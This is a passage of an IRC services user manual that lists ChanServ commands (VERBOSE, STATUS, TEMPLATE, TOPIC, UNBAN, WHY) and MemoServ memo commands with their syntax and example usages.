SET VERBOSE ON sends a notice to the channel when someone
makes changes to the access lists.
 
SET VERBOSE OPS sends a notice to the channel operators when
someone makes changes to the access lists.
 
Syntax: SET <#channel> VERBOSE ON|OPS|OFF
 
Example:
    /msg ChanServ SET #foo VERBOSE ON
 
30. STATUS
 
STATUS returns information about your current
state. It will show information about your
nickname, IRC operator, and SRA status.
 
If the a channel parameter is specified, your
access to the given channel is returned.
 
Syntax: STATUS [#channel]
 
Example:
    /msg ChanServ STATUS
    /msg ChanServ STATUS #foo
 
31. TAXONOMY
 
The taxonomy command lists metadata information associated
with registered channels.
 
Examples:
    /msg ChanServ TAXONOMY #atheme
 
32. TEMPLATE
 
The TEMPLATE command allows definition of sets of flags,
simplifying the use of the FLAGS command.
 
Without arguments, network wide templates are shown.
These include at least SOP/AOP/HOP/VOP.
 
Syntax: TEMPLATE
 
When given only the channel argument, a listing of
templates for the channel will be displayed.
 
Syntax: TEMPLATE <#channel>
 
Otherwise, a template is modified. A modification may be
specified by a template name (copies the template) or a
flags change (starts with + or -, optionally preceded by
an !). Templates cannot be the empty set (making a
template empty deletes it).
 
If the ! form is used, all access entries which exactly
match the template are changed accordingly, with the
exception that it is not possible to remove the
founder's +f access.
 
There is a limit on the length of all templates on a
channel.
 
If you are not the founder, similar restrictions apply
as in FLAGS.
 
Syntax: TEMPLATE <#channel> [template oldtemplate]
Syntax: TEMPLATE <#channel> [template flag_changes]
Syntax: TEMPLATE <#channel> [template !flag_changes]
 
Examples:
    /msg ChanServ TEMPLATE #foo
    /msg ChanServ TEMPLATE #foo user VOP
    /msg ChanServ TEMPLATE #foo user !+A
    /msg ChanServ TEMPLATE #foo co-founder +*-OH
    /msg ChanServ TEMPLATE #foo op -*+vVhoti
    /msg ChanServ TEMPLATE #foo obsoletetemplate -*
 
33. TOPIC
 
The TOPIC command allows for the changing of a topic on a channel.
 
Syntax: TOPIC <#channel> 
 
Examples:
    /msg ChanServ TOPIC #foo bar
 
34. TOPICAPPEND
 
The TOPICAPPEND command allows for the addition to a topic on a
 channel.
 
Syntax: TOPICAPPEND <#channel> 
 
Examples:
    /msg ChanServ TOPICAPPEND #foo bar
 
35. UNBAN
 
The UNBAN command allows you to unban a user or hostmask
from a channel. If no nickname or hostmask is specified,
you are unbanned.
 
Syntax: UNBAN <#channel> [nickname|hostmask]
 
Examples:
    /msg ChanServ UNBAN #chat pfish
    /msg ChanServ UNBAN #chat *!*@*.ucdavis.edu
 
36. WHY
 
The WHY command shows the access entries an online
user matches.
 
Syntax: WHY <#channel> 
 
Examples:
    /msg ChanServ WHY #atheme jilles^


* [Memoserv]
=========

1. DELETE
 
DELETE allows you to delete memos from your
inbox. You can either delete all memos with
the all parameter, or specify a memo number.
You can obtain a memo number by using the LIST
command.
 
You can also SEND, READ, LIST and FORWARD memos.
 
Syntax: DELETE all|
 
Examples:
    /msg MemoServ DELETE all
    /msg MemoServ DELETE 1
 
2. FORWARD
 
FORWARD allows you to forward a memo to another
account. Useful for a variety of reasons.
 
You can also SEND, DELETE, LIST or READ memos.
 
Syntax: FORWARD  
 
Examples:
    /msg MemoServ FORWARD kog 1
 
3. IGNORE
 
IGNORE allows you to ignore memos from another
user. Possible reasons include inbox spamming,
annoying users, bots that have figured out how
to register etc.
 
You can add up to 40 users to your ignore list
 
Syntax: IGNORE ADD|DEL|LIST|CLEAR 
 
Examples:
    /msg MemoServ IGNORE ADD kog
    /msg MemoServ IGNORE DEL kog
    /msg MemoServ IGNORE LIST
    /msg MemoServ IGNORE CLEAR
 
4. LIST
 
LIST shows you your memos in your inbox,
including who sent them and when. To read a
memo, use the READ command. You can also
DELETE or FORWARD a memo.
 
Syntax: LIST
 
Examples:
    /msg MemoServ LIST
 
5. READ
 
READ allows you to read a memo that another
user has sent you. You can obtain a list of
memos from the LIST command, or delete a
memo with the DELETE command.
 
Syntax: READ 
 
Examples:
    /msg MemoServ READ 1
 
6. SEND
 
SEND allows you to send a memo to a nickname
that is offline at the moment.  When they
come online they will be told they have messages
waiting for them and will have an opportunity
to read your memo.
 
Your memo cannot be more than 300 characters.
 
Syntax: SEND  text
 
Examples:
    /msg MemoServ SEND Kog pay your bills